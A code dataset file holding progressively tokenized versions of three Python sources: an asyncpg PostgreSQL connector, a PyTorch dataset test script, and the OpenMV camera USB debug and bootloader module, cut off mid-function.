[ "from asyncpg import connect, InterfaceError, create_pool\nimport logging\nimport asyncio\nfrom async_timeout import timeout\n\n\nclass PSQLConnector():\n def __init__(self, conf):\n self.loop = asyncio.get_event_loop()\n self.sync_type = conf[\"sync_type\"]\n self.conf = conf\n self.pool = self.loop.run_until_complete(self._create_pool())\n\n async def _create_pool(self):\n pool = await create_pool(\n database=self.conf[\"database\"],\n user=self.conf[\"user\"],\n password=self.conf[\"password\"],\n host=self.conf.get(\"host\", \"localhost\"),\n port=self.conf.get(\"port\", 5432),\n max_inactive_connection_lifetime=0.05)\n\n logging.info('Successfully connected with local PSQL')\n return pool\n\n async def _select_single_execute(self, query):\n value = await self.pool.fetch(query, timeout=0.05)\n return value[0][0]\n\n async def select_single(self, query):\n try:\n async with timeout(0.05):\n return await self._select_single_execute(query)\n except InterfaceError as e:\n if \"connection already closed\" in str(e).lower():\n self.pool = self.loop.run_until_complete(self._create_pool())\n async with timeout(0.05):\n return await self._select_single_execute(query)\n else:\n raise\n\n def close(self):\n self.conn.close()\n", "from asyncpg import connect, InterfaceError, create_pool\nimport logging\nimport asyncio\nfrom async_timeout import timeout\n\n\nclass PSQLConnector:\n\n def __init__(self, conf):\n self.loop = asyncio.get_event_loop()\n self.sync_type = conf['sync_type']\n self.conf = conf\n self.pool = self.loop.run_until_complete(self._create_pool())\n\n async def _create_pool(self):\n pool = await create_pool(database=self.conf['database'], user=self.\n conf['user'], password=self.conf['password'], host=self.conf.\n get('host', 'localhost'), port=self.conf.get('port', 5432),\n max_inactive_connection_lifetime=0.05)\n logging.info('Successfully connected with local PSQL')\n return pool\n\n async def _select_single_execute(self, query):\n value = await self.pool.fetch(query, timeout=0.05)\n return value[0][0]\n\n async def select_single(self, query):\n try:\n async with timeout(0.05):\n return await self._select_single_execute(query)\n except InterfaceError as e:\n if 'connection already closed' in str(e).lower():\n self.pool = self.loop.run_until_complete(self._create_pool())\n async with timeout(0.05):\n return await self._select_single_execute(query)\n else:\n raise\n\n def close(self):\n self.conn.close()\n", "<import token>\n\n\nclass PSQLConnector:\n\n def __init__(self, conf):\n self.loop = asyncio.get_event_loop()\n self.sync_type = conf['sync_type']\n self.conf = conf\n self.pool = self.loop.run_until_complete(self._create_pool())\n\n async def _create_pool(self):\n pool = await create_pool(database=self.conf['database'], user=self.\n conf['user'], password=self.conf['password'], host=self.conf.\n get('host', 'localhost'), port=self.conf.get('port', 5432),\n max_inactive_connection_lifetime=0.05)\n logging.info('Successfully connected with local PSQL')\n return pool\n\n async def _select_single_execute(self, query):\n value = await self.pool.fetch(query, timeout=0.05)\n return value[0][0]\n\n async def select_single(self, query):\n try:\n async with timeout(0.05):\n return await self._select_single_execute(query)\n except InterfaceError as e:\n if 'connection already closed' in str(e).lower():\n self.pool = self.loop.run_until_complete(self._create_pool())\n async with timeout(0.05):\n return await self._select_single_execute(query)\n else:\n raise\n\n def close(self):\n self.conn.close()\n", "<import token>\n\n\nclass PSQLConnector:\n\n def __init__(self, conf):\n self.loop = asyncio.get_event_loop()\n self.sync_type = conf['sync_type']\n self.conf = conf\n self.pool = self.loop.run_until_complete(self._create_pool())\n\n async def _create_pool(self):\n pool = await create_pool(database=self.conf['database'], user=self.\n conf['user'], password=self.conf['password'], host=self.conf.\n get('host', 'localhost'), port=self.conf.get('port', 5432),\n max_inactive_connection_lifetime=0.05)\n logging.info('Successfully connected with local PSQL')\n return pool\n\n async def _select_single_execute(self, query):\n value = await self.pool.fetch(query, timeout=0.05)\n return value[0][0]\n\n async def select_single(self, query):\n try:\n async with timeout(0.05):\n return await self._select_single_execute(query)\n except InterfaceError as e:\n if 'connection already closed' in str(e).lower():\n self.pool = self.loop.run_until_complete(self._create_pool())\n async with timeout(0.05):\n return await self._select_single_execute(query)\n else:\n raise\n <function token>\n", "<import token>\n\n\nclass PSQLConnector:\n <function token>\n\n async def _create_pool(self):\n pool = await create_pool(database=self.conf['database'], user=self.\n conf['user'], password=self.conf['password'], host=self.conf.\n get('host', 'localhost'), port=self.conf.get('port', 5432),\n max_inactive_connection_lifetime=0.05)\n logging.info('Successfully connected with local PSQL')\n return pool\n\n async def _select_single_execute(self, query):\n value = await self.pool.fetch(query, timeout=0.05)\n return value[0][0]\n\n async def select_single(self, query):\n try:\n async with timeout(0.05):\n return await self._select_single_execute(query)\n except InterfaceError as e:\n if 'connection already closed' in str(e).lower():\n self.pool = self.loop.run_until_complete(self._create_pool())\n async with timeout(0.05):\n return await self._select_single_execute(query)\n else:\n raise\n <function token>\n", "<import token>\n<class token>\n" ]

[ "\nfrom torch.utils.data import Dataset, DataLoader\nimport numpy as np\nimport pandas as pd\n\nfrom task1 import get_slice_set\nfrom task2 import HeartDataset, np_collate_dict_to_tuple\n\n\ndef test_task2_output_2_elements(batch):\n print('testing: 2 elements in batch')\n assert len(batch)==2\n print('passed')\n \n\ndef test_task2_output_1st_images(batch):\n print('testing: batch is an numpy array')\n assert isinstance(batch[0], np.ndarray)\n print('passed')\n\n print('testing: batch is a 2D (color or grayscale) numpy array')\n assert (len(batch[0].shape) in (2,3))\n print('passed')\n\ndef test_shuffling(hdset, shuffle=True):\n print(f\"testing for shuffle={shuffle}\")\n num_reps = 3\n first_batches = []\n for rep in range(num_reps):\n hdloader = DataLoader(hdset, batch_size=8, shuffle=shuffle,\n collate_fn=np_collate_dict_to_tuple)\n for x in hdloader:\n break\n first_batches.append(x[0])\n\n imask_sum_first_batch = [tuple(x.sum(-1).sum(-1)) for x in first_batches]\n \n assert (len(set(imask_sum_first_batch)) == num_reps) == shuffle\n print('passed')\n\n\nif __name__ == '__main__':\n\n dir_data = 'final_data'\n fn_link = f'{dir_data}/link.csv'\n\n metadata = pd.read_csv(fn_link)\n print( f'{metadata.shape[0]} series parsed')\n\n filenames = get_slice_set(metadata, dir_data)\n print( f'{filenames.shape[0]} files parsed')\n\n hdset = HeartDataset(filenames)\n\n # basic tests\n hdloader = DataLoader(hdset, batch_size=8, shuffle=True,\n collate_fn=np_collate_dict_to_tuple)\n for batch in hdloader:\n break\n\n test_task2_output_2_elements(batch)\n\n test_task2_output_1st_images(batch)\n\n test_shuffling(hdset, shuffle = True)\n test_shuffling(hdset, shuffle = False)\n\n", "from torch.utils.data import Dataset, DataLoader\nimport numpy as np\nimport pandas as pd\nfrom task1 import get_slice_set\nfrom task2 import HeartDataset, np_collate_dict_to_tuple\n\n\ndef test_task2_output_2_elements(batch):\n print('testing: 2 elements in batch')\n assert len(batch) == 2\n print('passed')\n\n\ndef test_task2_output_1st_images(batch):\n print('testing: batch is an numpy array')\n assert isinstance(batch[0], np.ndarray)\n print('passed')\n print('testing: batch is a 2D (color or grayscale) numpy array')\n assert len(batch[0].shape) in (2, 3)\n print('passed')\n\n\ndef test_shuffling(hdset, shuffle=True):\n print(f'testing for shuffle={shuffle}')\n num_reps = 3\n first_batches = []\n for rep in range(num_reps):\n hdloader = DataLoader(hdset, batch_size=8, shuffle=shuffle,\n collate_fn=np_collate_dict_to_tuple)\n for x in hdloader:\n break\n first_batches.append(x[0])\n imask_sum_first_batch = [tuple(x.sum(-1).sum(-1)) for x in first_batches]\n assert (len(set(imask_sum_first_batch)) == num_reps) == shuffle\n print('passed')\n\n\nif __name__ == '__main__':\n dir_data = 'final_data'\n fn_link = f'{dir_data}/link.csv'\n metadata = pd.read_csv(fn_link)\n print(f'{metadata.shape[0]} series parsed')\n filenames = get_slice_set(metadata, dir_data)\n print(f'{filenames.shape[0]} files parsed')\n hdset = HeartDataset(filenames)\n hdloader = DataLoader(hdset, batch_size=8, shuffle=True, collate_fn=\n np_collate_dict_to_tuple)\n for batch in hdloader:\n break\n test_task2_output_2_elements(batch)\n test_task2_output_1st_images(batch)\n test_shuffling(hdset, shuffle=True)\n test_shuffling(hdset, shuffle=False)\n", "<import token>\n\n\ndef test_task2_output_2_elements(batch):\n print('testing: 2 elements in batch')\n assert len(batch) == 2\n print('passed')\n\n\ndef test_task2_output_1st_images(batch):\n print('testing: batch is an numpy array')\n assert isinstance(batch[0], np.ndarray)\n print('passed')\n print('testing: batch is a 2D (color or grayscale) numpy array')\n assert len(batch[0].shape) in (2, 3)\n print('passed')\n\n\ndef test_shuffling(hdset, shuffle=True):\n print(f'testing for shuffle={shuffle}')\n num_reps = 3\n first_batches = []\n for rep in range(num_reps):\n hdloader = DataLoader(hdset, batch_size=8, shuffle=shuffle,\n collate_fn=np_collate_dict_to_tuple)\n for x in hdloader:\n break\n first_batches.append(x[0])\n imask_sum_first_batch = [tuple(x.sum(-1).sum(-1)) for x in first_batches]\n assert (len(set(imask_sum_first_batch)) == num_reps) == shuffle\n print('passed')\n\n\nif __name__ == '__main__':\n dir_data = 'final_data'\n fn_link = f'{dir_data}/link.csv'\n metadata = pd.read_csv(fn_link)\n print(f'{metadata.shape[0]} series parsed')\n filenames = get_slice_set(metadata, dir_data)\n print(f'{filenames.shape[0]} files parsed')\n hdset = HeartDataset(filenames)\n hdloader = DataLoader(hdset, batch_size=8, shuffle=True, collate_fn=\n np_collate_dict_to_tuple)\n for batch in hdloader:\n break\n test_task2_output_2_elements(batch)\n test_task2_output_1st_images(batch)\n test_shuffling(hdset, shuffle=True)\n test_shuffling(hdset, shuffle=False)\n", "<import token>\n\n\ndef test_task2_output_2_elements(batch):\n print('testing: 2 elements in batch')\n assert len(batch) == 2\n print('passed')\n\n\ndef test_task2_output_1st_images(batch):\n print('testing: batch is an numpy array')\n assert isinstance(batch[0], np.ndarray)\n print('passed')\n print('testing: batch is a 2D (color or grayscale) numpy array')\n assert len(batch[0].shape) in (2, 3)\n print('passed')\n\n\ndef test_shuffling(hdset, shuffle=True):\n print(f'testing for shuffle={shuffle}')\n num_reps = 3\n first_batches = []\n for rep in range(num_reps):\n hdloader = DataLoader(hdset, batch_size=8, shuffle=shuffle,\n collate_fn=np_collate_dict_to_tuple)\n for x in hdloader:\n break\n first_batches.append(x[0])\n imask_sum_first_batch = [tuple(x.sum(-1).sum(-1)) for x in first_batches]\n assert (len(set(imask_sum_first_batch)) == num_reps) == shuffle\n print('passed')\n\n\n<code token>\n", "<import token>\n\n\ndef test_task2_output_2_elements(batch):\n print('testing: 2 elements in batch')\n assert len(batch) == 2\n print('passed')\n\n\ndef test_task2_output_1st_images(batch):\n print('testing: batch is an numpy array')\n assert isinstance(batch[0], np.ndarray)\n print('passed')\n print('testing: batch is a 2D (color or grayscale) numpy array')\n assert len(batch[0].shape) in (2, 3)\n print('passed')\n\n\n<function token>\n<code token>\n", "<import token>\n\n\ndef test_task2_output_2_elements(batch):\n print('testing: 2 elements in batch')\n assert len(batch) == 2\n print('passed')\n\n\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]

[ "#!/usr/bin/env python2\n# This file is part of the OpenMV project.\n#\n# Copyright (c) 2013-2021 Ibrahim Abdelkader <[email protected]>\n# Copyright (c) 2013-2021 Kwabena W. Agyeman <[email protected]>\n#\n# This work is licensed under the MIT license, see the file LICENSE for details.\n#\n# Openmv module.\n\nimport struct\nimport sys,time\nimport serial\nimport platform\nimport numpy as np\nfrom PIL import Image\n\n__serial = None\n__FB_HDR_SIZE =12\n\n# USB Debug commands\n__USBDBG_CMD = 48\n__USBDBG_FW_VERSION = 0x80\n__USBDBG_FRAME_SIZE = 0x81\n__USBDBG_FRAME_DUMP = 0x82\n__USBDBG_ARCH_STR = 0x83\n__USBDBG_SCRIPT_EXEC = 0x05\n__USBDBG_SCRIPT_STOP = 0x06\n__USBDBG_SCRIPT_SAVE = 0x07\n__USBDBG_SCRIPT_RUNNING = 0x87\n__USBDBG_TEMPLATE_SAVE = 0x08\n__USBDBG_DESCRIPTOR_SAVE= 0x09\n__USBDBG_ATTR_READ = 0x8A\n__USBDBG_ATTR_WRITE = 0x0B\n__USBDBG_SYS_RESET = 0x0C\n__USBDBG_SYS_RESET_TO_BL= 0x0E\n__USBDBG_FB_ENABLE = 0x0D\n__USBDBG_TX_BUF_LEN = 0x8E\n__USBDBG_TX_BUF = 0x8F\n\nATTR_CONTRAST =0\nATTR_BRIGHTNESS =1\nATTR_SATURATION =2\nATTR_GAINCEILING=3\n\n__BOOTLDR_START = 0xABCD0001\n__BOOTLDR_RESET = 0xABCD0002\n__BOOTLDR_ERASE = 0xABCD0004\n__BOOTLDR_WRITE = 0xABCD0008\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n # open CDC port\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\ndef disconnect():\n global __serial\n try:\n if (__serial):\n __serial.close()\n __serial = None\n except:\n pass\n\ndef set_timeout(timeout):\n __serial.timeout = timeout\n\ndef fb_size():\n # read fb header\n __serial.write(struct.pack(\"<BBI\", __USBDBG_CMD, __USBDBG_FRAME_SIZE, __FB_HDR_SIZE))\n return struct.unpack(\"III\", __serial.read(12))\n\ndef fb_dump():\n size = fb_size()\n\n if (not size[0]):\n # frame not ready\n return None\n\n if (size[2] > 2): #JPEG\n num_bytes = size[2]\n else:\n num_bytes = size[0]*size[1]*size[2]\n\n # read fb data\n __serial.write(struct.pack(\"<BBI\", __USBDBG_CMD, __USBDBG_FRAME_DUMP, num_bytes))\n buff = __serial.read(num_bytes)\n\n if size[2] == 1: # Grayscale\n y = np.fromstring(buff, dtype=np.uint8)\n buff = np.column_stack((y, y, y))\n elif size[2] == 2: # RGB565\n arr = np.fromstring(buff, dtype=np.uint16).newbyteorder('S')\n r = (((arr & 0xF800) >>11)*255.0/31.0).astype(np.uint8)\n g = (((arr & 0x07E0) >>5) *255.0/63.0).astype(np.uint8)\n b = (((arr & 0x001F) >>0) *255.0/31.0).astype(np.uint8)\n buff = np.column_stack((r,g,b))\n else: # JPEG\n try:\n buff = np.asarray(Image.frombuffer(\"RGB\", size[0:2], buff, \"jpeg\", \"RGB\", \"\"))\n except Exception as e:\n print (\"JPEG decode error (%s)\"%(e))\n return None\n\n if (buff.size != (size[0]*size[1]*3)):\n return None\n\n return (size[0], size[1], buff.reshape((size[1], size[0], 3)))\n\ndef exec_script(buf):\n __serial.write(struct.pack(\"<BBI\", __USBDBG_CMD, __USBDBG_SCRIPT_EXEC, len(buf)))\n __serial.write(buf.encode())\n\ndef stop_script():\n __serial.write(struct.pack(\"<BBI\", __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\ndef script_running():\n __serial.write(struct.pack(\"<BBI\", __USBDBG_CMD, __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack(\"I\", __serial.read(4))[0]\n\ndef save_template(x, y, w, h, path):\n buf = struct.pack(\"IIII\", x, y, w, h) + path\n __serial.write(struct.pack(\"<BBI\", __USBDBG_CMD, __USBDBG_TEMPLATE_SAVE, len(buf)))\n __serial.write(buf)\n\ndef save_descriptor(x, y, w, h, path):\n buf = struct.pack(\"HHHH\", x, y, w, h) + path\n __serial.write(struct.pack(\"<BBI\", __USBDBG_CMD, __USBDBG_DESCRIPTOR_SAVE, len(buf)))\n __serial.write(buf)\n\ndef set_attr(attr, value):\n __serial.write(struct.pack(\"<BBI\", __USBDBG_CMD, __USBDBG_ATTR_WRITE, 8))\n __serial.write(struct.pack(\"<II\", attr, value))\n\ndef get_attr(attr):\n __serial.write(struct.pack(\"<BBIh\", __USBDBG_CMD, __USBDBG_ATTR_READ, 1, attr))\n return __serial.read(1)\n\ndef reset():\n __serial.write(struct.pack(\"<BBI\", __USBDBG_CMD, __USBDBG_SYS_RESET, 0))\n\ndef reset_to_bl():\n __serial.write(struct.pack(\"<BBI\", __USBDBG_CMD, __USBDBG_SYS_RESET_TO_BL, 0))\n\ndef bootloader_start():\n __serial.write(struct.pack(\"<I\", __BOOTLDR_START))\n return struct.unpack(\"I\", __serial.read(4))[0] == __BOOTLDR_START\n\ndef bootloader_reset():\n __serial.write(struct.pack(\"<I\", __BOOTLDR_RESET))\n\ndef flash_erase(sector):\n __serial.write(struct.pack(\"<II\", __BOOTLDR_ERASE, sector))\n\ndef flash_write(buf):\n __serial.write(struct.pack(\"<I\", __BOOTLDR_WRITE) + buf)\n\ndef tx_buf_len():\n __serial.write(struct.pack(\"<BBI\", __USBDBG_CMD, __USBDBG_TX_BUF_LEN, 4))\n return struct.unpack(\"I\", __serial.read(4))[0]\n\ndef tx_buf(bytes):\n __serial.write(struct.pack(\"<BBI\", __USBDBG_CMD, __USBDBG_TX_BUF, bytes))\n return __serial.read(bytes)\n\ndef fw_version():\n __serial.write(struct.pack(\"<BBI\", __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack(\"III\", __serial.read(12))\n\ndef enable_fb(enable):\n __serial.write(struct.pack(\"<BBI\", __USBDBG_CMD, __USBDBG_FB_ENABLE, 4))\n __serial.write(struct.pack(\"<I\", enable))\n\ndef arch_str():\n __serial.write(struct.pack(\"<BBI\", __USBDBG_CMD, __USBDBG_ARCH_STR, 64))\n return __serial.read(64).split('\\0', 1)[0]\n\nif __name__ == '__main__':\n if len(sys.argv)!= 3:\n print ('usage: pyopenmv.py <port> <script>')\n sys.exit(1)\n\n with open(sys.argv[2], 'r') as fin:\n buf = fin.read()\n\n disconnect()\n init(sys.argv[1])\n stop_script()\n exec_script(buf)\n tx_len = tx_buf_len()\n time.sleep(0.250)\n if (tx_len):\n print(tx_buf(tx_len).decode())\n disconnect()\n", "import struct\nimport sys, time\nimport serial\nimport platform\nimport numpy as np\nfrom PIL import Image\n__serial = None\n__FB_HDR_SIZE = 12\n__USBDBG_CMD = 48\n__USBDBG_FW_VERSION = 128\n__USBDBG_FRAME_SIZE = 129\n__USBDBG_FRAME_DUMP = 130\n__USBDBG_ARCH_STR = 131\n__USBDBG_SCRIPT_EXEC = 5\n__USBDBG_SCRIPT_STOP = 6\n__USBDBG_SCRIPT_SAVE = 7\n__USBDBG_SCRIPT_RUNNING = 135\n__USBDBG_TEMPLATE_SAVE = 8\n__USBDBG_DESCRIPTOR_SAVE = 9\n__USBDBG_ATTR_READ = 138\n__USBDBG_ATTR_WRITE = 11\n__USBDBG_SYS_RESET = 12\n__USBDBG_SYS_RESET_TO_BL = 14\n__USBDBG_FB_ENABLE = 13\n__USBDBG_TX_BUF_LEN = 142\n__USBDBG_TX_BUF = 143\nATTR_CONTRAST = 0\nATTR_BRIGHTNESS = 1\nATTR_SATURATION = 2\nATTR_GAINCEILING = 3\n__BOOTLDR_START = 2882338817\n__BOOTLDR_RESET = 2882338818\n__BOOTLDR_ERASE = 2882338820\n__BOOTLDR_WRITE = 2882338824\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\ndef set_timeout(timeout):\n __serial.timeout = timeout\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\ndef fb_dump():\n size = fb_size()\n if not size[0]:\n return None\n if size[2] > 2:\n num_bytes = size[2]\n else:\n num_bytes = size[0] * size[1] * size[2]\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_DUMP,\n num_bytes))\n buff = __serial.read(num_bytes)\n if size[2] == 1:\n y = np.fromstring(buff, dtype=np.uint8)\n buff = np.column_stack((y, y, y))\n elif size[2] == 2:\n arr = np.fromstring(buff, dtype=np.uint16).newbyteorder('S')\n r = (((arr & 63488) >> 11) * 255.0 / 31.0).astype(np.uint8)\n g = (((arr & 2016) >> 5) * 255.0 / 63.0).astype(np.uint8)\n b = (((arr & 31) >> 0) * 255.0 / 31.0).astype(np.uint8)\n buff = np.column_stack((r, g, b))\n else:\n try:\n buff = np.asarray(Image.frombuffer('RGB', size[0:2], buff,\n 'jpeg', 'RGB', ''))\n except Exception as e:\n print('JPEG decode error (%s)' % e)\n return None\n if buff.size != size[0] * size[1] * 3:\n return None\n return size[0], size[1], buff.reshape((size[1], size[0], 3))\n\n\ndef exec_script(buf):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_EXEC,\n len(buf)))\n __serial.write(buf.encode())\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef save_template(x, y, w, h, path):\n buf = struct.pack('IIII', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TEMPLATE_SAVE,\n len(buf)))\n __serial.write(buf)\n\n\ndef save_descriptor(x, y, w, h, path):\n buf = struct.pack('HHHH', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_DESCRIPTOR_SAVE, len(buf)))\n __serial.write(buf)\n\n\ndef set_attr(attr, value):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ATTR_WRITE, 8))\n __serial.write(struct.pack('<II', attr, value))\n\n\ndef get_attr(attr):\n __serial.write(struct.pack('<BBIh', __USBDBG_CMD, __USBDBG_ATTR_READ, 1,\n attr))\n return __serial.read(1)\n\n\ndef reset():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SYS_RESET, 0))\n\n\ndef reset_to_bl():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SYS_RESET_TO_BL, 0))\n\n\ndef bootloader_start():\n __serial.write(struct.pack('<I', __BOOTLDR_START))\n return struct.unpack('I', __serial.read(4))[0] == __BOOTLDR_START\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\ndef flash_erase(sector):\n __serial.write(struct.pack('<II', __BOOTLDR_ERASE, sector))\n\n\ndef flash_write(buf):\n __serial.write(struct.pack('<I', __BOOTLDR_WRITE) + buf)\n\n\ndef tx_buf_len():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF_LEN, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef tx_buf(bytes):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF, bytes))\n return __serial.read(bytes)\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\ndef enable_fb(enable):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FB_ENABLE, 4))\n __serial.write(struct.pack('<I', enable))\n\n\ndef arch_str():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ARCH_STR, 64))\n return __serial.read(64).split('\\x00', 1)[0]\n\n\nif __name__ == '__main__':\n if len(sys.argv) != 3:\n print('usage: pyopenmv.py <port> <script>')\n sys.exit(1)\n with open(sys.argv[2], 'r') as fin:\n buf = fin.read()\n disconnect()\n init(sys.argv[1])\n stop_script()\n exec_script(buf)\n tx_len = tx_buf_len()\n time.sleep(0.25)\n if tx_len:\n print(tx_buf(tx_len).decode())\n disconnect()\n", "<import token>\n__serial = None\n__FB_HDR_SIZE = 12\n__USBDBG_CMD = 48\n__USBDBG_FW_VERSION = 128\n__USBDBG_FRAME_SIZE = 129\n__USBDBG_FRAME_DUMP = 130\n__USBDBG_ARCH_STR = 131\n__USBDBG_SCRIPT_EXEC = 5\n__USBDBG_SCRIPT_STOP = 6\n__USBDBG_SCRIPT_SAVE = 7\n__USBDBG_SCRIPT_RUNNING = 135\n__USBDBG_TEMPLATE_SAVE = 8\n__USBDBG_DESCRIPTOR_SAVE = 9\n__USBDBG_ATTR_READ = 138\n__USBDBG_ATTR_WRITE = 11\n__USBDBG_SYS_RESET = 12\n__USBDBG_SYS_RESET_TO_BL = 14\n__USBDBG_FB_ENABLE = 13\n__USBDBG_TX_BUF_LEN = 142\n__USBDBG_TX_BUF = 143\nATTR_CONTRAST = 0\nATTR_BRIGHTNESS = 1\nATTR_SATURATION = 2\nATTR_GAINCEILING = 3\n__BOOTLDR_START = 2882338817\n__BOOTLDR_RESET = 2882338818\n__BOOTLDR_ERASE = 2882338820\n__BOOTLDR_WRITE = 2882338824\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\ndef set_timeout(timeout):\n __serial.timeout = timeout\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\ndef fb_dump():\n size = fb_size()\n if not size[0]:\n return None\n if size[2] > 2:\n num_bytes = size[2]\n else:\n num_bytes = size[0] * size[1] * size[2]\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_DUMP,\n num_bytes))\n buff = __serial.read(num_bytes)\n if size[2] == 1:\n y = np.fromstring(buff, dtype=np.uint8)\n buff = np.column_stack((y, y, y))\n elif size[2] == 2:\n arr = np.fromstring(buff, dtype=np.uint16).newbyteorder('S')\n r = (((arr & 63488) >> 11) * 255.0 / 31.0).astype(np.uint8)\n g = (((arr & 2016) >> 5) * 255.0 / 63.0).astype(np.uint8)\n b = (((arr & 31) >> 0) * 255.0 / 31.0).astype(np.uint8)\n buff = np.column_stack((r, g, b))\n else:\n try:\n buff = np.asarray(Image.frombuffer('RGB', size[0:2], buff,\n 'jpeg', 'RGB', ''))\n except Exception as e:\n print('JPEG decode error (%s)' % e)\n return None\n if buff.size != size[0] * size[1] * 3:\n return None\n return size[0], size[1], buff.reshape((size[1], size[0], 3))\n\n\ndef exec_script(buf):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_EXEC,\n len(buf)))\n __serial.write(buf.encode())\n\n\ndef stop_script():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SCRIPT_STOP, 0))\n\n\ndef script_running():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SCRIPT_RUNNING, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef save_template(x, y, w, h, path):\n buf = struct.pack('IIII', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TEMPLATE_SAVE,\n len(buf)))\n __serial.write(buf)\n\n\ndef save_descriptor(x, y, w, h, path):\n buf = struct.pack('HHHH', x, y, w, h) + path\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_DESCRIPTOR_SAVE, len(buf)))\n __serial.write(buf)\n\n\ndef set_attr(attr, value):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ATTR_WRITE, 8))\n __serial.write(struct.pack('<II', attr, value))\n\n\ndef get_attr(attr):\n __serial.write(struct.pack('<BBIh', __USBDBG_CMD, __USBDBG_ATTR_READ, 1,\n attr))\n return __serial.read(1)\n\n\ndef reset():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_SYS_RESET, 0))\n\n\ndef reset_to_bl():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD,\n __USBDBG_SYS_RESET_TO_BL, 0))\n\n\ndef bootloader_start():\n __serial.write(struct.pack('<I', __BOOTLDR_START))\n return struct.unpack('I', __serial.read(4))[0] == __BOOTLDR_START\n\n\ndef bootloader_reset():\n __serial.write(struct.pack('<I', __BOOTLDR_RESET))\n\n\ndef flash_erase(sector):\n __serial.write(struct.pack('<II', __BOOTLDR_ERASE, sector))\n\n\ndef flash_write(buf):\n __serial.write(struct.pack('<I', __BOOTLDR_WRITE) + buf)\n\n\ndef tx_buf_len():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF_LEN, 4))\n return struct.unpack('I', __serial.read(4))[0]\n\n\ndef tx_buf(bytes):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_TX_BUF, bytes))\n return __serial.read(bytes)\n\n\ndef fw_version():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FW_VERSION, 12))\n return struct.unpack('III', __serial.read(12))\n\n\ndef enable_fb(enable):\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FB_ENABLE, 4))\n __serial.write(struct.pack('<I', enable))\n\n\ndef arch_str():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_ARCH_STR, 64))\n return __serial.read(64).split('\\x00', 1)[0]\n\n\nif __name__ == '__main__':\n if len(sys.argv) != 3:\n print('usage: pyopenmv.py <port> <script>')\n sys.exit(1)\n with open(sys.argv[2], 'r') as fin:\n buf = fin.read()\n disconnect()\n init(sys.argv[1])\n stop_script()\n exec_script(buf)\n tx_len = tx_buf_len()\n time.sleep(0.25)\n if tx_len:\n print(tx_buf(tx_len).decode())\n disconnect()\n", "<import token>\n<assignment token>\n\n\ndef init(port, baudrate=921600, timeout=0.3):\n global __serial\n __serial = serial.Serial(port, baudrate=baudrate, timeout=timeout)\n\n\ndef disconnect():\n global __serial\n try:\n if __serial:\n __serial.close()\n __serial = None\n except:\n pass\n\n\ndef set_timeout(timeout):\n __serial.timeout = timeout\n\n\ndef fb_size():\n __serial.write(struct.pack('<BBI', __USBDBG_CMD, __USBDBG_FRAME_SIZE,\n __FB_HDR_SIZE))\n return struct.unpack('III', __serial.read(12))\n\n\ndef fb_dump():\n size = fb_size()\n if not size[0]:\n return None\n if size[2] > 2:\n num_bytes = size[2]\n else:\n 